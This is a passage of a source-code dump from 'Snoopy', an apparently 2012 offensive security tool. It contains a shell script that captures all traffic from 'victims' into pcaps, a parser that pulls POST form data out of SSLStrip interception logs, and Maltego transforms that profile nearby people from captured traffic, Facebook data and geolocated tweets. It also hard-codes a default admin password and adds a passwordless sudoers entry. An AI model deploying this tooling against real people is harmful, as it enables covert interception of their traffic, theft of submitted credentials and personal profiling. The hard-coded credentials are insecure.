19 | # print '\nAdditional fields:'
20 | # for item in m.AdditionalFields.keys():
21 | # print 'N:'+item+' V:'+m.AdditionalFields[item]
22 |
23 | # print "\nTransform settings:"
24 | # for item in m.TransformSettings.keys():
25 | # print "N:"+item+" V:"+m.TransformSettings[item]
26 |
27 | # print "\n\nXML received: \n" + MaltegoXML_in
28 | # Comment up to here..
29 |
30 |
31 |
32 |
33 | # Start writing your transform here!
34 | # This one works on Person Entity as input
35 | # Swaps firstname and lastname, weight of 99, adds age field
36 | # Needs'Age' and 'ImageURL' transform settings
37 |
38 | # Age="0"
39 | # if m.TransformSettings["Age"] is not None:
40 | # Age = m.TransformSettings["Age"]
41 |
42 | TRX = MaltegoTransform()
43 |
44 | Ent=TRX.addEntity("maltego.Person","doesnotmatter_its_computed")
45 | Ent.setWeight(99)
46 | Ent.addAdditionalFields("firstname","First Names","strict",m.AdditionalFields["lastname"])
47 | Ent.addAdditionalFields("lastname","Surname","strict",m.AdditionalFields["firstname"])
48 | #Ent.addAdditionalFields("Age","Age of Person","strict",Age)
49 |
50 | # if m.TransformSettings["ImageURL"] is not None:
51 | # Ent.setIconURL(m.TransformSettings["ImageURL"])
52 |
53 | TRX.returnOutput()
54 |
55 |
56 | ##
57 | main()
58 |
59 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snarfer.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # glenn@sensepost.com
3 | # Snoopy // 2012
4 | # By using this code you agree to abide by the supplied LICENSE.txt
5 |
6 | # This script will listen for all traffic from victims (10.0.0.0/8 range) and write rotating pcaps to disk
7 | # Rsync will move any files which are no longer being written to to the xplico drop directory, which it will
8 | # routinely parse. Result can then be viewd in the xplico interface.
9 | # The fuser command seems to always output if a file is being written to. Can you not make it output to terminal?
10 |
11 | # TODO: Move pcaps to different folders based on differnet IPs, so each monitor device has its own list. It xplico,
12 | # this will involve creating a new 'sesion' for each device.
13 |
14 |
15 | mkdir -p /tmp/tmpsnoopy
16 | save_path=/tmp/tmpsnoopy/
17 | to_path=/opt/xplico/pol_1/sol_1/new/ #xplico pcap dir for case 1 session 1
18 | iface=tap0
19 | t_pid=31337 #Random initial PID for tshark process
20 |
21 | if [ ! -d "$to_path" ]; then
22 | echo "[E] $to_path doesn't exist. Is xplico setup, with a case created?"
23 | exit
24 | fi
25 |
26 | function move_caps
27 | # Move pcap files that are not currently being written to.
28 | {
29 | echo -n "" > /tmp/include_list.txt
30 | for i in `find $save_path -type f`
31 | do
32 | op=`fuser $i`
33 | if [ "$op" == "" ]
34 | then
35 | c=`echo $i | sed 's/.*\///g'`
36 | echo $c >> /tmp/include_list.txt
37 | fi
38 | done
39 | rsync -rzt --remove-source-files --include-from=/tmp/include_list.txt --include="*/" --exclude \* $save_path $to_path
40 | }
41 |
42 | function ensure_sniffing
43 | # Check if tshark is running, if not, start
44 | {
45 | if ! ps p $t_pid | grep -v "TIME CMD" | grep -q $t_pid
46 | then
47 | echo [+] Staring tshark..
48 | tshark -i $iface -b duration:10 -w $save_path/snoop.pcap src net 10.0.0.0/8 or dst net 10.0.0.0/8 &
49 | t_pid=$!
50 | sleep 10
51 | fi
52 | }
53 |
54 | control_c()
55 | # run if user hits control-c
56 | {
57 | echo -en "\n*** Ouch! Exiting ***\n"
58 | kill -9 $t_pid
59 | exit
60 | }
61 | trap control_c SIGINT
62 |
63 | #########################
64 | # Main Loop #
65 | #########################
66 | while true;
67 | do
68 | ensure_sniffing
69 | move_caps
70 | sleep 10
71 | done
72 |
73 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/db/__init__.py:
--------------------------------------------------------------------------------
1 | """Database initialisation."""
2 |
3 | import logging
4 | #log = logging.getLogger('snoopy.db')
5 |
6 | import traceback
7 | from sqlalchemy import create_engine
8 | from sqlalchemy.orm import scoped_session, sessionmaker
9 |
10 | from . import models
11 | from models import Base, Probe, Cookie, GpsMovement, Wigle, User
12 |
13 | engine = None
14 | Session = None
15 |
16 |
17 | class SessionCtx(object):
18 | """Context manager that creates a SQLAlchemy session."""
19 | def __init__(self, sqla_session=None):
20 | if sqla_session is None:
21 | sqla_session = Session()
22 | self.session = sqla_session
23 |
24 | def __enter__(self):
25 | return self.session
26 |
27 | def __exit__(self, exctype, excvalue, traceb):
28 | """Call C{commit()} if not exception occurred, C{rollback()} and log
29 | otherwise."""
30 | if exctype is None:
31 | # No exception was raised
32 | self.session.commit()
33 | return
34 | # *sigh*. we have an exception to handle :(
35 | self.session.rollback()
36 | del self.session
37 | straceb = '\n'.join(traceback.format_tb(traceb))
38 | logging.error('Database error:\n%s\n%s' % (straceb, repr(excvalue)))
39 |
40 |
41 | def init(uri=None, **kwargs):
42 | global engine, Session
43 |
44 | if not uri:
45 | uri = 'mysql://snoopy:RANDOMPASSWORDGOESHERE@localhost/snoopy'
46 |
47 | if engine is not None:
48 | raise ValueError('DB engine already initialised!')
49 |
50 | engine = create_engine(uri, **kwargs)
51 | Session = scoped_session(sessionmaker(bind=engine))
52 | models.Session = Session
53 |
54 | Base.metadata.bind = engine
55 | Base.metadata.create_all(engine)
56 | logging.info('create_all() complete')
57 | create_test_data()
58 |
59 |
60 | def create_test_data():
61 | global Session
62 |
63 | with SessionCtx() as session:
64 | # if session.query(User).filter_by(name='admin').count() < 1:
65 | # session.add(User(name='admin', password='adminnimda', is_admin=True))
66 | if session.query(User).filter_by(name='admin').count() < 1:
67 | session.add(User(name='admin', password='YABADABADOO', is_admin=True))
68 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy_server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # glenn@sensepost.com
3 | # Snoopy // 2012
4 | # By using this code you agree to abide by the supplied LICENSE.txt
5 |
6 | # Don't run directly, but via snoopy.sh
7 | # This Script starts various Snoopy components
8 |
9 | #ToDo: Incorporate all Snoopy components into a single snoopy.py file.
10 |
11 | import logging
12 | import prox_guid
13 | import pytail
14 | import facebook
15 | import ssid_to_loc
16 |
17 | import os
18 | import time
19 | import sys
20 | import signal
21 | from multiprocessing import Process
22 |
23 | snoopyBinPath=os.path.dirname(os.path.realpath(__file__))
24 |
25 | sys.path.append("%s/snoopy/src/snoopy"%snoopyBinPath)
26 | from snoopy.web import main as webmain
27 | webmain.app.root_path = "%s/snoopy/src/snoopy/"%snoopyBinPath
28 |
29 | goFlag=True
30 |
31 | def signal_handler(signal, frame):
32 | global goFlag
33 | logging.debug('Caught SIGINT, ending.')
34 | goFlag=False
35 | signal.signal(signal.SIGINT, signal_handler)
36 |
37 | def main(snoopyDir):
38 |
39 | global goFlag
40 | while ( goFlag ):
41 |
42 | logging.basicConfig(filename="%s/logs/snoopy.log"%(snoopyDir),level=logging.INFO,format='%(asctime)s %(levelname)s %(filename)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
43 | logging.info("\n--------------------------------------------------------------")
44 | logging.info("Main Snoopy Process starting. Divert all power to the engines!")
45 | pool=[]
46 | pool.append( Process(target=prox_guid.main) )
47 | pool.append( Process(target=facebook.main, args=('%s'%(snoopyDir),)) )
48 | pool.append( Process(target=pytail.main, args=('%s/uploads/'%(snoopyDir),)) )
49 | pool.append(Process(target=ssid_to_loc.main) )
50 | pool.append(Process(target=webmain.start))
51 |
52 | for p in pool:
53 | p.start()
54 |
55 | all_good=True
56 | while all_good and goFlag:
57 | for p in pool:
58 | if not p.is_alive():
59 | all_good = False
60 | time.sleep(2)
61 |
62 | for p in pool:
63 | p.terminate()
64 |
65 | if( goFlag ):
66 | logging.warning("One of my processes died, I'll restart all")
67 | main(snoopyDir)
68 |
69 | logging.debug("Process ended")
70 |
71 | if __name__ == "__main__":
72 | snoopyDir=sys.argv[1]
73 | try:
74 | main(snoopyDir)
75 | except Exception, e:
76 | logging.error("Main Snoopy thread exception: %s" %str(e))
77 |
78 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchAllFacebook.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from Maltego import *
10 | import stawk_db
11 | import logging
12 | import datetime
13 |
14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
15 |
16 | sys.stderr = sys.stdout
17 |
18 | def main():
19 |
20 | fb_view_url=None
21 | try:
22 | p=os.path.dirname(os.path.realpath(__file__))
23 | f=open("%s/../setup/webroot_guid.txt"%p,"r")
24 | fb_view_url=f.readline().strip() + "/web_data/facebook/"
25 | except:
26 | logging.debug("Warning: Couldn't determind streetview webserver folder")
27 |
28 |
29 |
30 | print "Content-type: xml\n\n";
31 | MaltegoXML_in = sys.stdin.read()
32 | if MaltegoXML_in <> '':
33 | m = MaltegoMsg(MaltegoXML_in)
34 |
35 | cursor=stawk_db.dbconnect()
36 | TRX = MaltegoTransform()
37 |
38 |
39 | try:
40 |
41 | cursor.execute("SELECT id,name,gender,locale,network,link,degree FROM facebook where degree=0")
42 | results=cursor.fetchall()
43 |
44 | for row in results:
45 | id,name,gender,locale,network,link,degree=row[0],row[1],row[2],row[3],row[4],row[5],row[6]
46 | NewEnt=TRX.addEntity("maltego.FacebookObject",name)
47 | NewEnt.addAdditionalFields("id","id","nostrict",id)
48 | NewEnt.addAdditionalFields("gender","gender","nostrict",gender)
49 | NewEnt.addAdditionalFields("locale","locale","nostrict",locale)
50 | NewEnt.addAdditionalFields("network","network","nostrict",network)
51 | NewEnt.addAdditionalFields("link","link","nostrict",link)
52 | NewEnt.addAdditionalFields("degree","degree","nostrict",degree)
53 |
54 |
55 | logging.debug("Facebook profile photo - %s/%s/profile.jpg" % (fb_view_url,id))
56 | if( fb_view_url != None):
57 | NewEnt.addAdditionalFields("facebook_profile_photo","Profile","strict","%s/%s/profile.jpg"%(fb_view_url,id))
58 | NewEnt.setIconURL("%s/%s/profile.jpg" % (fb_view_url,id))
59 |
60 |
61 | except Exception, e:
62 | logging.debug("Exception:")
63 | logging.debug(e)
64 |
65 |
66 | TRX.returnOutput()
67 |
68 | main()
69 |
70 |
--------------------------------------------------------------------------------
/snoopy/client/setup_n900.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # glenn@sensepost.com
3 | # Snoopy // 2012
4 | # By using this code you agree to abide by the supplied LICENSE.txt
5 |
6 | echo "+-----------------------------------------------------------------------+
7 | + SensePost Information Security +
8 | + Snoopy Drone Installer +
9 | + http://www.sensepost.com/labs / research@sensepost.com +
10 | +-----------------------------------------------------------------------+
11 |
12 | +-----------------------------------------------------------------------+
13 | + This script should be run on a PwnPhone N900 installation. You'd need +
14 | + to manually install the PowerKernel if you don't want to use the +
15 | + PwnPhone. I'll install some additional packages now. +
16 | +-----------------------------------------------------------------------+
17 | "
18 |
19 | #Get current path
20 | sd=$(cd $(dirname "$0"); pwd)
21 |
22 | #Make sure everything is +x
23 | for i in `find . -iname '*.py'`; do chmod +x $i; done
24 | for i in `find . -iname '*.sh'`; do chmod +x $i; done
25 |
26 | #Install stuff
27 | #apt-get update
28 | apt-get install -y tshark
29 | apt-get install -y python-location
30 | apt-get install -y sed-gnu
31 | apt-get install -y openssh
32 | apt-get install -y bash
33 | apt-get install -y rsync
34 | apt-get install -y netcat
35 | apt-get install -y macchanger
36 |
37 | #Copy the drivers from the PwnPhone setup, to ensure they match the PwnPhone
38 | # PowerKernel installation
39 | cp /home/user/MyDocs/pwnphone/drivers/*.ko $sd/configs/drivers/
40 |
41 | echo "+-----------------------------------------------------------------------------+"
42 | echo "+ Copying Desktop icons +"
43 | echo "+-----------------------------------------------------------------------------+"
44 | # Desktop icons
45 |
46 | sed -i "s,^Exec=.*,Exec=osso-xterm -e \"sudo $sd/snoopy.sh\"," ./setup/snoopy.desktop
47 | cp ./setup/snoopy.desktop /usr/share/applications/hildon/
48 | cp ./setup/snoopy.png /opt/usr/share/pixmaps/
49 |
50 | #NB Don't manually update /etc/sudoers on N900
51 | echo "user ALL = NOPASSWD: $sd/snoopy.sh" > /etc/sudoers.d/snoopy.sudoers
52 | update-sudoers
53 |
54 | echo "+----------------------------------------------------------------------------+"
55 | echo "+ Done. You should have a new icon on your Desktop +"
56 | echo "+----------------------------------------------------------------------------+"
57 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchTweetsByLocation.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | from Maltego import *
8 | import logging
9 | import requests
10 | import json
11 | import stawk_db
12 | import re
13 |
14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
15 |
16 | sys.stderr = sys.stdout
17 |
18 | def main():
19 |
20 | print "Content-type: xml\n\n";
21 | MaltegoXML_in = sys.stdin.read()
22 | if MaltegoXML_in <> '':
23 | m = MaltegoMsg(MaltegoXML_in)
24 |
25 | cursor=stawk_db.dbconnect()
26 | TRX = MaltegoTransform()
27 |
28 | try:
29 | logging.debug("Here we go")
30 | for item in m.TransformSettings.keys():
31 | logging.debug("N:"+item+" V:"+m.TransformSettings[item])
32 |
33 | # logging.debug(MaltegoXML_in)
34 |
35 | radius="5" #miles
36 | lat=m.AdditionalFields['lat']
37 | lng=m.AdditionalFields['long']
38 | if 'radius' in m.AdditionalFields:
39 | radius=m.AdditionalFields
40 |
41 | logging.debug("Tweep cords to search - %s,%s (%s miles)" %(lat,lng,radius))
42 |
43 | r=requests.get("https://search.twitter.com/search.json?q=geocode:%s,%s,%smi"%(lat,lng,radius))
44 | tw=json.loads(r.text)
45 |
46 | logging.debug("Tweep results - %d"%len(tw['results']))
47 | for tweep in tw['results']:
48 | name=tweep['from_user_name'].encode('utf8','xmlcharrefreplace')
49 | username=tweep['from_user'].encode('utf8','xmlcharrefreplace')
50 | uid=tweep['from_user_id_str'].encode('utf8','xmlcharrefreplace')
51 | recent_tweet=tweep['text'].encode('utf8','xmlcharrefreplace')
52 | img=tweep['profile_image_url'].encode('utf8','xmlcharrefreplace')
53 | profile_page="http://twitter.com/%s"%username
54 | largephoto=re.sub('_normal','',img)
55 |
56 |
57 | NewEnt=TRX.addEntity("maltego.affiliation.Twitter", name)
58 | NewEnt.addAdditionalFields("uid","UID","strict",uid)
59 | NewEnt.addAdditionalFields("affiliation.profile-url","Profile URL","strict",profile_page)
60 | NewEnt.addAdditionalFields("twitter.screen-name","Screen Name","strict",username)
61 | NewEnt.addAdditionalFields("person.fullname","Real Name","strict",name)
62 | NewEnt.addAdditionalFields("photo","Photo","nostrict",largephoto)
63 | NewEnt.addAdditionalFields("tweet","Recent Tweet","nostrict",recent_tweet)
64 | NewEnt.setIconURL(img)
65 |
66 | except Exception, e:
67 | logging.debug("Exception:")
68 | logging.debug(e)
69 |
70 |
71 | TRX.returnOutput()
72 |
73 | main()
74 |
75 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchDomains.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from Maltego import *
10 | import stawk_db
11 | import logging
12 | import datetime
13 | from common import *
14 |
15 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
16 |
17 | sys.stderr = sys.stdout
18 |
19 | def main():
20 |
21 | print "Content-type: xml\n\n";
22 | MaltegoXML_in = sys.stdin.read()
23 | if MaltegoXML_in <> '':
24 | m = MaltegoMsg(MaltegoXML_in)
25 |
26 | cursor=stawk_db.dbconnect()
27 | TRX = MaltegoTransform()
28 |
29 |
30 | try:
31 |
32 | # logging.debug(m.AdditionalFields['end_time'])
33 | now=datetime.datetime.now()
34 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields :
35 | start_time=m.AdditionalFields['start_time']
36 | end_time=m.AdditionalFields['end_time']
37 | else:
38 | start_time=now-datetime.timedelta(0,lookback)
39 | end_time=now+datetime.timedelta(1,0)
40 |
41 | logging.debug(start_time)
42 | logging.debug(end_time)
43 |
44 | if 'mac' in m.AdditionalFields:
45 | mac=m.AdditionalFields['mac']
46 | else:
47 | mac="0"
48 | if 'drone' in m.AdditionalFields:
49 | drone=m.AdditionalFields['drone']
50 | else:
51 | drone="0"
52 |
53 | logging.debug(mac)
54 | logging.debug(drone)
55 |
56 | cursor.execute("SELECT DISTINCT domain FROM snoopy_web_logs WHERE mac=%s", (mac))
57 | #cursor.execute("SELECT DISTINCT domain FROM snoopy_web_logs WHERE mac=%s AND timestamp > %s AND timestamp <%s", (mac,start_time,end_time))
58 | results=cursor.fetchall()
59 |
60 |
61 | for row in results:
62 | domain=row[0]
63 | if ( domain == "facebook.com" ):
64 | NewEnt=TRX.addEntity("maltego.FacebookObject",domain)
65 |
66 | else:
67 | NewEnt=TRX.addEntity("Domain", domain)
68 |
69 | NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start_time)
70 | NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end_time)
71 | NewEnt.addAdditionalFields("mac","mac","strict",mac)
72 | NewEnt.addAdditionalFields("drone","drone","strict",drone)
73 | # NewEnt.addAdditionalFields("drone","drone","strict",drone)
74 | # NewEnt.addAdditionalFields("mac","mac","strict",mac)
75 |
76 | except Exception, e:
77 | logging.debug("Exception:")
78 | logging.debug(e)
79 |
80 |
81 | TRX.returnOutput()
82 |
83 | main()
84 |
85 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/css/snoopy-main.css:
--------------------------------------------------------------------------------
1 | /* Base styles */
2 | html { background-color: #e5e5e5; }
3 | body {
4 | font-family: sans-serif;
5 | color: #666;
6 | width: 960px;
7 |
8 | margin: 0 auto;
9 | }
10 | input, select {
11 | border: 1px solid #666;
12 | background-color: #fff;
13 | }
14 |
15 | a {
16 | color: #6c7994;
17 | text-decoration: none;
18 | }
19 | a:hover { text-decoration: underline; }
20 | a:before { content: '['; }
21 | a:after { content: ']'; }
22 |
23 | .clr { clear: both; }
24 |
25 | #doc {
26 | background: url("/static/images/background-gradient.png") repeat-y scroll 0 0 #FFFFFF;
27 | padding: 0 22px;
28 | }
29 |
30 | #topbar {
31 | background-color: #fff;
32 | color: #666;
33 | padding: 5px;
34 | border-bottom: 2px solid #abbce6;
35 | }
36 | #topbar > .sp-logo {
37 | float: left;
38 | }
39 | #topbar > div#title {
40 | display: table-cell;
41 | float: left;
42 | font-size: xx-large;
43 | height: 109px;
44 | margin: auto 50px;
45 | vertical-align: middle;
46 | }
47 | #topbar > div#title > a {
48 | margin: auto 0;
49 | vertical-align: middle;
50 | }
51 | #topbar > div#logout {
52 | height: 30px;
53 | float: right;
54 | vertical-align: middle;
55 | }
56 |
57 | #content {
58 | background-color: #fff;
59 | border-bottom: 2px solid #abbce6;
60 | }
61 |
62 | #leftbar {
63 | width: 170px;
64 | float: left;
65 | }
66 | #leftbar select {
67 | display: block;
68 | width: 100%;
69 | }
70 | #leftbar #client-list {
71 | font-family: monospace;
72 | }
73 |
74 | #clients-area {
75 | width: 722px;
76 | min-height: 500px;
77 | float: right;
78 | padding: 10px;
79 | }
80 |
81 | .client-window {
82 | background-color: #fff;
83 | border: 2px solid #abbce6;
84 | float: left;
85 | }
86 | .client-window > .cwin-titlebar {
87 | height: 20px;
88 | background-color: #cbd7f0;
89 | padding: 0 5px;
90 | }
91 | .client-window > .cwin-titlebar > .cwin-title {
92 | display: inline;
93 | font-weight: bold;
94 | }
95 | .client-window > .cwin-titlebar > .cwin-close,
96 | .client-window > .cwin-titlebar > .cwin-reload {
97 | float: right;
98 | }
99 | .client-window > .cwin-content {
100 | position: absolute;
101 | margin: auto;
102 | top: 20px;
103 | bottom: 0px;
104 | overflow: auto;
105 | width: 100%;
106 | }
107 |
108 | .data-section {
109 | border-top: 1px solid #abbce6;
110 | border-bottom: 1px solid #abbce6;
111 | }
112 | .data-section li {
113 | list-style: disc inside;
114 | margin-left: 10px;
115 | }
116 | .data-section > .section-title {
117 | font-style: italic;
118 | }
119 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchUserAgents.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | import sys
5 | import os
6 | from Maltego import *
7 | import stawk_db
8 | import logging
9 | import datetime
10 | from common import *
11 |
12 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
13 |
14 | sys.stderr = sys.stdout
15 |
16 | def main():
17 |
18 | print "Content-type: xml\n\n";
19 | MaltegoXML_in = sys.stdin.read()
20 | if MaltegoXML_in <> '':
21 | #logging.debug(MaltegoXML_in)
22 | m = MaltegoMsg(MaltegoXML_in)
23 |
24 | cursor=stawk_db.dbconnect()
25 | TRX = MaltegoTransform()
26 |
27 | drone='%'
28 | now=datetime.datetime.now()
29 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields :
30 | start_time=m.AdditionalFields['start_time']
31 | end_time=m.AdditionalFields['end_time']
32 | else:
33 | start_time=now+datetime.timedelta(seconds=-lookback)
34 | end_time=now+datetime.timedelta(seconds=lookback)
35 |
36 | # Maltego requires format e.g 2012-10-23 22:37:12.0
37 | now=now.strftime("%Y-%m-%d %H:%M:%S.0")
38 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0")
39 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0")
40 |
41 |
42 | if 'location' in m.AdditionalFields:
43 | location=m.AdditionalFields['location']
44 | else:
45 | location="%"
46 |
47 | if 'properties.drone' in m.AdditionalFields:
48 | drone=m.AdditionalFields['properties.drone']
49 |
50 |
51 | cursor.execute("SELECT ua, COUNT(*) FROM (SELECT ua, client_ip FROM squid_logs GROUP BY ua, client_ip) AS x GROUP BY ua")
52 | results=cursor.fetchall()
53 |
54 | for row in results:
55 | num=-1
56 | ua="fuck unicode"
57 | try:
58 | ua=row[0].encode('utf8','xmlcharrefreplace')
59 | num=row[1]
60 | except Exception,e:
61 | logging.debug(e)
62 |
63 | NewEnt=TRX.addEntity("snoopy.useragent", ua);
64 | NewEnt.addAdditionalFields("num","Number","strict",num)
65 | NewEnt.addAdditionalFields("useragent","useragent","strict",ua)
66 | NewEnt.setWeight(num)
67 |
68 | #NewEnt.addAdditionalFields("drone","drone","strict",drone)
69 | #NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start)
70 | #NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end)
71 | #NewEnt.addAdditionalFields("location","location","strict",location)
72 | #NewEnt.addAdditionalFields("run_id","run_id","strict",run_id)
73 |
74 |
75 | TRX.returnOutput()
76 | try:
77 | main()
78 | except Exception, e:
79 | logging.debug(e)
80 |
81 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/jstripper.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # ----------------------------------------------
3 | # Junaid Loonat (junaid@sensepost.com)
4 | # JStripper - Parser for modified SSLStrip logs
5 | # ----------------------------------------------
6 | # How to import a CSV into a MySQL database:
7 | # http://www.tech-recipes.com/rx/2345/import_csv_file_directly_into_mysql/
8 | # ----------------------------------------------
9 |
10 | import os
11 | import sys
12 | import time
13 | import base64
14 | import urllib
15 | import csv
16 | import re
17 |
18 | def usage():
19 | print 'Usage: jstripper.py file'
20 |
21 | def processEntry(entry):
22 | print 'processEntry %s' % entry
23 | exportFile.writerow([
24 | entry['timestamp'],
25 | entry['src_ip'],
26 | entry['domain'],
27 | entry['url'],
28 | entry['secure'],
29 | entry['post']
30 | ])
31 |
32 | if __name__ == '__main__':
33 | if len(sys.argv) != 2:
34 | usage()
35 | sys.exit()
36 | logFilePath = sys.argv[1]
37 | if not os.path.exists(logFilePath):
38 | print 'Specified log file does not exist: %s' % logFilePath
39 | elif not os.path.isfile(logFilePath):
40 | print 'Specified log file does not appear to be a file: %s' % logFilePath
41 | else:
42 | exportFilePath = '%s%s' % (logFilePath, '.export')
43 | print 'Export file will be: %s' % exportFilePath
44 | if os.path.exists(exportFilePath):
45 | print 'Removing existing export file: %s' % exportFilePath
46 | os.remove(exportFilePath)
47 | exportFile = csv.writer(open(exportFilePath, 'wb'), delimiter=',', quotechar='"', quoting=csv.QUOTE_ALL)
48 | exportFile.writerow(['timestamp', 'src_ip', 'domain', 'url', 'secure', 'post'])
49 |
50 | logFile = open(logFilePath, 'r')
51 | isEntry = False
52 | anEntry = {}
53 | for aLine in logFile:
54 | if aLine.startswith('2012-') and aLine.find(' Client:') > -1:
55 | if isEntry:
56 | processEntry(anEntry)
57 | isEntry = False
58 |
59 | if aLine.find(' POST Data (') > -1:
60 | isEntry = True
61 | anEntry = {}
62 | anEntry['timestamp'] = aLine[:aLine.find(',')]
63 | anEntry['secure'] = 0
64 | anEntry['post'] = ''
65 | if aLine.find('SECURE POST Data (') > -1:
66 | anEntry['secure'] = 1
67 |
68 | tStart = aLine.find(' POST Data (') + 12
69 | anEntry['domain'] = aLine[tStart:aLine.find(')', tStart)]
70 |
71 | tStart = aLine.find(' Client:') + 8
72 | anEntry['src_ip'] = aLine[tStart:aLine.find(' ', tStart)]
73 |
74 | tStart = aLine.find(' URL(') + 8
75 | anEntry['url'] = aLine[tStart:aLine.find(')URL', tStart)]
76 |
77 | elif isEntry:
78 | anEntry['post'] = '%s%s' % (anEntry['post'], urllib.unquote_plus(aLine.strip()))
79 |
80 | if isEntry:
81 | processEntry(anEntry)
82 |
83 |
84 | logFile.close()
85 |
86 |
87 |
88 |
89 | print 'done'
90 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchAllDomains.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 |
8 | import sys
9 | import os
10 | from Maltego import *
11 | import stawk_db
12 | import logging
13 | import datetime
14 | from common import *
15 |
16 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
17 |
18 | sys.stderr = sys.stdout
19 |
20 | def main():
21 |
22 | print "Content-type: xml\n\n";
23 | MaltegoXML_in = sys.stdin.read()
24 | if MaltegoXML_in <> '':
25 | #logging.debug(MaltegoXML_in)
26 | m = MaltegoMsg(MaltegoXML_in)
27 |
28 | cursor=stawk_db.dbconnect()
29 | TRX = MaltegoTransform()
30 |
31 | drone='%'
32 | now=datetime.datetime.now()
33 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields :
34 | start_time=m.AdditionalFields['start_time']
35 | end_time=m.AdditionalFields['end_time']
36 | else:
37 | start_time=now+datetime.timedelta(seconds=-lookback)
38 | end_time=now+datetime.timedelta(seconds=lookback)
39 |
40 | # Maltego requires format e.g 2012-10-23 22:37:12.0
41 | now=now.strftime("%Y-%m-%d %H:%M:%S.0")
42 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0")
43 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0")
44 |
45 |
46 | if 'location' in m.AdditionalFields:
47 | location=m.AdditionalFields['location']
48 | else:
49 | location="%"
50 |
51 | if 'properties.drone' in m.AdditionalFields:
52 | drone=m.AdditionalFields['properties.drone']
53 |
54 |
55 | cursor.execute("SELECT domain, COUNT(*) FROM (SELECT domain, client_ip FROM squid_logs GROUP BY domain, client_ip) AS x GROUP BY domain")
56 | results=cursor.fetchall()
57 |
58 | for row in results:
59 | num=-1
60 | domain="fuck unicode"
61 | try:
62 | domain=row[0].encode('utf8','xmlcharrefreplace')
63 | num=row[1]
64 | except Exception,e:
65 | logging.debug(e)
66 |
67 | NewEnt=TRX.addEntity("Domain", domain);
68 | NewEnt.addAdditionalFields("num","Number","strict",num)
69 | NewEnt.addAdditionalFields("domain","domain","strict",domain)
70 | NewEnt.setWeight(num)
71 |
72 | #NewEnt.addAdditionalFields("drone","drone","strict",drone)
73 | #NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start)
74 | #NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end)
75 | #NewEnt.addAdditionalFields("location","location","strict",location)
76 | #NewEnt.addAdditionalFields("run_id","run_id","strict",run_id)
77 |
78 |
79 | TRX.returnOutput()
80 | try:
81 | main()
82 | except Exception, e:
83 | logging.debug(e)
84 |
85 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchCountries.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from Maltego import *
10 | import stawk_db
11 | import logging
12 | import datetime
13 | from common import *
14 |
15 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
16 |
17 | sys.stderr = sys.stdout
18 |
19 | def main():
20 |
21 | print "Content-type: xml\n\n";
22 | MaltegoXML_in = sys.stdin.read()
